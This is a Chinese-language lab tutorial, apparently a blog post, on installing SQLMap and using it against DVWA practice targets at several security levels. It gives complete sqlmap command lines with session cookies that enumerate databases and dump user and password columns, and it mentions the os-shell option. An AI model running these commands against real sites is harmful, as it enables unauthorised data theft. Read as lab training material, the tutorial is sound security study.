一、SQLMap介绍
SQLMap 是一个自动化的SQL注入工具,其主要功能是扫描、发现并利用给定URL的SQL注入漏洞,内置了很多绕过插件,支持的数据库是MySQL 、Oracle 、PostgreSQL 、Microsoft SQL Server、Microsoft Access 、IBM DB2, SQ Lite 、Firebird 、Sybase和SAPMaxDB 。
注意:sqlmap只是用来检测和利用sql注入点,并不能扫描出网站有哪些漏洞,使用前请先使用扫描工具扫出sql注入点。
SQLMap采用了以下5种独特的SQL注入技术:
基于布尔类型的盲注,即可以根据返回页面判断条件真假的注入。
基于时间的盲注,即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否己执行(即页面返回时间是否增加)来判断。
基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中。
联合查询注入,在可以使用Union 的情况下的注入。. 堆查询注入,可以同时执行多条语句时的注入。
SQLMap 的强大的功能包括数据库指纹识别、数据库枚举、数据提取、访问目标文件系统,并在获取完全的操作权限时实行任意命令。
二、安装
1、安装git
apt-get install git
2、克隆sqlmap
git clone git://github.com/sqlmapproject/sqlmap.git
3、测试sqlmap是否正常工作,前提要安装python2:apt install python2
cd sqlmap/
./sqlmap.py -h
查看sqlmap的命令字帮助手册
-u "url" #检测注入点
--dbs #列出所有数据库的名称
--current-db #列出当前数据库的名称
-D #指定一个数据库
--table #列出所有表名
-T #指定表名
--columns #列出所有字段名
-C #指定字段
--dump #列出字段内容
--os-shell # 提示输入交互式操作系统shell
--os-cmd=OSCMD # Execute an operating system command
--passwords # 枚举DBMS用户密码哈希
-v VERBOSE: 用于设置输出消息的详细级别。存在七个级别的冗长。默认级别为 1。
0:仅显示 Python 回溯、错误和关键消息。
1:还显示信息和警告消息。
2:还显示调试消息。
3:还显示注入的有效负载。
4:还显示 HTTP 请求。
5:还显示 HTTP 响应的标头。
6:还显示 HTTP 响应的页面内容。
sqlmap.py -u "注入地址" --dbs # 列举数据库
sqlmap.py -u "注入地址" --current--db # 当前数据库
sqlmap.py -u "注入地址" --users # 列数据库用户
sqlmap.py -u "注入地址" --current--user # 当前用户
sqlmap.py -u "注入地址" --tables -D "数据库" # 列举指定数据库的表名
sqlmap.py -u "注入地址" --columns -T "表名" -D "数据库" # 获取数据库表的列名
sqlmap.py -u "注入地址" --dump -T "表名" -D "数据库" # 获取数据库表的所有内容
sqlmap.py -u "注入地址" --dump -C "列名字1, 列名字2" -T "表名字" -D "数据库" # 获取数据库下表的列信息
sqlmap: automatic SQL injection and database takeover tool有个视频演示。
三、Kail自带的sqlmap更新
先输入 sqlmap -update命令 但是命令没有成功 看来是不对的。
1、找到sqlmap的安装路径 因为kali自带sqlmap所以一般的路径都是/usr/share/sqlmap;
2、cd /usr/share/
3、删除掉原来的sqlmap:rm -rf sqlmap
4、输入 git clone GitHub - sqlmapproject/sqlmap: Automatic SQL injection and database takeover tool
5、更新完成了输入sqlmap -h
四、kail+靶机演示
4.1、dvwa(Low)GET请求
4.1.1、环境准备
1、登录Metasploitable2靶机的http://192.168.11.105/dvwa,输入用户密码:admin/password, dvwa版本: Version 1.0.7 (Release date: 08/09/10)
2、点击"DVWA Security",首先将难度调整为Low。
3、点击SQL Injection,我们在查询接口输入User Id为1进行查询,这时候生成的地址就是我们的目标注入点http://192.168.11.105/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#,同时Cookie的值是security=low; PHPSESSID=4e495964246e2b0f5591550ce44e3979
4.1.2、注入探测
sqlmap -u "http://192.168.11.105/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=4e495964246e2b0f5591550ce44e3979"
可以看出,爆出了SQL注入漏洞,探测到数据库是mysql,版本4.1以上,所在操作系统Linux Ubuntu 8.04。
当SQLMap执行该命令时,它会执行以下步骤:
1)判断可注入的参数;
2)判断可以用哪种SQL注入技术来注入;
3)识别出哪种数据库;
4)根据用户选择,读取哪些数据。
4.1.3、获取所有数据库
sqlmap -u "http://192.168.11.105/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=4e495964246e2b0f5591550ce44e3979" --dbs
可以看出列出了7个数据库名。
4.1.4、获取指定数据库内的所有表
sqlmap -u "http://192.168.11.105/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=4e495964246e2b0f5591550ce44e3979" --tables -D dvwa
4.1.5、查看用户表中的所有数据
sqlmap -u "http://192.168.11.105/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=4e495964246e2b0f5591550ce44e3979" --dump -T users -D dvwa
4.1.6、获取指定表中列名
sqlmap -u "http://192.168.11.105/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=4e495964246e2b0f5591550ce44e3979" --columns -T users -D dvwa
4.1.7、获取指定表中指定列的值
sqlmap -u "http://192.168.11.105/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=4e495964246e2b0f5591550ce44e3979" --dump -C "user, password" -T users -D dvwa
dvwa版本: Version 1.0.7 (Release date: 08/09/10),调整为medium级别后,SQL注入还是GET方式,跟low级别一样,推测是dvwa版本太低导致。
故docker搭建新的一套dvwa环境(docker run --name dvwa -d -p 80:80 -p 3306:3306 -e MYSQL_PASS="root" citizenstig/dvwa,dvwa版本: Version 1.9 (Release date: 2015-09-19))。
4.2、dvwa(Medium) POST请求
dvwa版本: Version 1.9 (Release date: 2015-09-19)
4.2.1、调整靶场难度等级为中级
4.2.2、确定注入点
难度调整为中级之后,请求方式变成了post,查询输入接口由手动输入变成了选择方式,且在url不会直接显示我们的查询请求。
POST http://192.168.11.135/vulnerabilities/sqli/
Cookie:PHPSESSID=dsjlh0p07q8a97r3m35egtq621; security=medium
4.2.3、注入探测
sqlmap -u "http://192.168.11.135/vulnerabilities/sqli/" --cookie="PHPSESSID=dsjlh0p07q8a97r3m35egtq621; security=medium" --data "id=1&Submit=Submit"
4.2.4、获取所有数据库
sqlmap -u "http://192.168.11.135/vulnerabilities/sqli/" --cookie="PHPSESSID=dsjlh0p07q8a97r3m35egtq621; security=medium" --data "id=1&Submit=Submit" --dbs
可以看出列出了4个数据库名。
4.2.5、获取指定数据库内的所有表
sqlmap -u "http://192.168.11.135/vulnerabilities/sqli/" --cookie="PHPSESSID=dsjlh0p07q8a97r3m35egtq621; security=medium" --data "id=1&Submit=Submit" --tables -D dvwa
4.2.6、查看用户表中的所有数据
sqlmap -u "http://192.168.11.135/vulnerabilities/sqli/" --cookie="PHPSESSID=dsjlh0p07q8a97r3m35egtq621; security=medium" --data "id=1&Submit=Submit" --dump -T users -D dvwa
4.2.7、获取指定表中列名
sqlmap -u "http://192.168.11.135/vulnerabilities/sqli/" --cookie="PHPSESSID=dsjlh0p07q8a97r3m35egtq621; security=medium" --data "id=1&Submit=Submit" --columns -T users -D dvwa
4.2.8、获取指定表中指定列的值
sqlmap -u "http://192.168.11.135/vulnerabilities/sqli/" --cookie="PHPSESSID=dsjlh0p07q8a97r3m35egtq621; security=medium" --data "id=1&Submit=Submit" --dump -C "user, password" -T users -D dvwa
4.3、dvwa(High)
dvwa版本: Version 1.9 (Release date: 2015-09-19)
4.3.1、调整级别
将DVWA难度调整为high之后,可以看到high等级的输入查询在弹窗进行输入,而数据显示确在原窗口进行显示。
原窗口数据包请求方式为GET:
GET http://192.168.11.135/vulnerabilities/sqli/
Cookie:PHPSESSID=dsjlh0p07q8a97r3m35egtq621; security=high
弹出的输入窗口请求方式为POST:
POST http://192.168.11.135/vulnerabilities/sqli/session-input.php
Cookie:PHPSESSID=dsjlh0p07q8a97r3m35egtq621; security=high
负载:id=1&Submit=Submit
4.3.2、需要用到联合查询命令‘second-url’
sqlmap -u "http://192.168.11.135/vulnerabilities/sqli/session-input.php" --cookie="PHPSESSID=dsjlh0p07q8a97r3m35egtq621; security=high" --data "id=1&Submit=Submit" --second-u "http://192.168.11.135/vulnerabilities/sqli/"
4.4、dvwa(Impossible)
dvwa版本: Version 1.9 (Release date: 2015-09-19)
Low、Medium、High级别其实都是通过限制数据输入来起到防护作用,而我们在手工注入的时候通过使用burpsuit等抓包工具篡改数据包都是可以绕过它的限制的。
Impossible等级则是在数据传到后端之后先进行了格式验证,然后还使用了PDO预处理。人家都说了Impossible,目前是无法进行注入的。
五、-r参数(从文本文件中获取http请求)
命令实例: sqlmap -r /usr/a.txt
说明:使用该命令时须指明a.txt(保存着http请求包)文件所在的绝对路径
验证过程:与-u参数类似
判断可注入的参数
判断可以用哪种SQL注入技术来注入
识别出所有存在的注入类型
尝试去判定数据库版本、开发语言、操作系统版本
5.1、dvwa(Low) GET请求
利用Burpsuite截取HTTP Request报文,将截取到的HTTP Request报文保存在文本文件中
爆当前数据库的库名:sqlmap -r /usr/share/sqlmap/zq.txt --current-db
生成缓存:/root/.local/share/sqlmap/output/192.168.11.135
5.2、dvwa(Medium) POST请求
利用Burpsuite截取HTTP Request报文,将截取到的HTTP Request报文保存在文本文件中
删除缓存:rm -rf /root/.local/share/sqlmap/output/192.168.11.135
爆当前数据库的库名:sqlmap -r /usr/share/sqlmap/zq.txt --current-db
六、参考
kali自带的sqlmap更新_XTJ469的博客-CSDN博客_sqlmap更新
sqlmap自动化漏洞利用(DVWA初、中、高)_PisaYu的博客-CSDN博客_sqlmap 渗透dvwa
《sqlmap 官网》
搭建DVWA漏洞环境_青霄的博客-CSDN博客
SQLMap 扫描利用SQL注入相关推荐
- Kali Linux Web 渗透测试视频教程—第十一课-扫描、sql注入、上传绕过
Kali Linux Web 渗透测试视频教程-第十一课-扫描.sql注入.上传绕过 文/玄魂 原文链接:http://www.xuanhun521.com/Blog/2014/10/25/kali- ...
- 使用SQLMAP自动化探测SQL注入
使用SQLMAP自动化探测SQL注入 文章目录 使用SQLMAP自动化探测SQL注入 0x01 SQLMAP介绍 1.SQLMAP 简介 2.sqlmap支持的注入类型 3.检查kali 系统中的 S ...
- 使用Burp,nbsp;Sqlmap进行自动化SQL注入渗透测试
在OWSAP Top10中,注入型漏洞是排在第一位的,而在注入型漏洞中,SQL注入是远比命令行注入.Xpath注入.Ldap注入更常见.这就是本章要讲述的主要内容:在web应用程序的渗透测试中,如何使 ...
- 如何使用加密的Payload来识别并利用SQL注入漏洞
写在前面的话 密码学具有诸多优点,信息的保密性同样离不开密码学,但是从历史经验来看,在保护应用和数据安全方面我们绝对不能过分依赖于密码学.在这篇文章中,安全教育培训专家SunilYadav将会讨论一个 ...
- 如何利用SQL注入进行爆库
SQL注入能做什么 在<SQL注入基础>一文介绍了SQL注入的基本原理和实验方法,那接下来就要问一下,SQL注入到底能什么? 估计很多朋友会这样认为:利用SQL注入最多只能获取当前表中的所 ...
- 【SQL注入-13】利用SQL注入漏洞读写文件案例
目录 1 读写文件的前提条件 1.1 secure-file-priv参数 1.1.1 作用 1.1.2 secure-file-priv参数值的查看 1.1.2.1 远程查看 1.1.2.2 本地查 ...
- 【2·未知攻焉知防】 如何利用SQL注入,结合图片马渗透入侵服务器
1. 概述 此文原出自[爱运维社区]: http://www.easysb.cn SQL注入漏洞是由于对字符串的过滤不严格导致的,根据数据外带方式不同,可分为时间盲注,bool盲注,错误等等很多种. ...
- SQLmap在进行SQL注入时的整个流程
文章转自信安之路,作者:sher10ck 很多小伙伴在发现或者判断出注入的时候,大多数选择就是直接上 sqlmap,结果往往也不尽人意,于是就有想法来写写 sqlmap 从执行到判断注入,到底发生了什 ...
- limit 后注入_聊一聊 SQLMAP 在进行 sql 注入时的整个流程
本文作者:sher10ck(信安之路核心成员) 很多小伙伴在发现或者判断出注入的时候,大多数选择就是直接上 sqlmap,结果往往也不尽人意,于是就有想法来写写 sqlmap 从执行到判断注入,到底发 ...
最新文章
- 装在u盘的linux
- python【蓝桥杯vip练习题库】ALGO-120 学做菜
- openssl 代码分析(1)
- Seata 1.4.0 重磅发布
- zoj3777(状态压缩)
- Qt工作笔记-让界面飞一会(让界面旋转出来)
- swift学习笔记之-协议
- 设置bootstrap modal模态框的宽度和宽度
- python函数拟合求导_python – 使用scipy curve_fit通过两个数据点拟合指数函数
- js变量显示在html中_PythonDjango+JS+Ajax实现网页采集并动态显示PLC变量
- 椭圆曲线方程加解密算法研究(一)
- CPL7用户指南(中文版)_第二章 CPL7 用户指南
- 联想台式计算机内置网卡,联想台式机有没有无线网卡
- Kafka监控eagle
- Socket编程 TCP粘包问题及解决方案
- Elasticsearch之中文分词器插件es-ik的自定义热更新词库
- MySQL的while循环
- Google学术无法进入的根本解决方案
- 故障树算法JAVA实现
- USBKiller(U盘病毒专杀) v2.2 正式版下载
热门文章
- AR内容开发--AR开发引擎和SDK
- Network: use `--host` to expose
- 计算机硬件评分,geekbench4最新版本
- 操作系统P、V操作,司机-售票员问题(c++实现)
- Android9.0 MTK8666平台摄像头数据分析
- 如何汉化Eclipse IDE?
- 微信小程序 -- 获取语音,并将语音转为文字(插件:微信同声传译)
- android 拨打电话音量,手机音量键都按到最大了,通话声音还是很小?试试打开这个功能...
- 内部排序算法的实现(插入排序、选择排序、交换排序、归并排序、计数排序)
- KubeSphere使用rbd-csi创建快照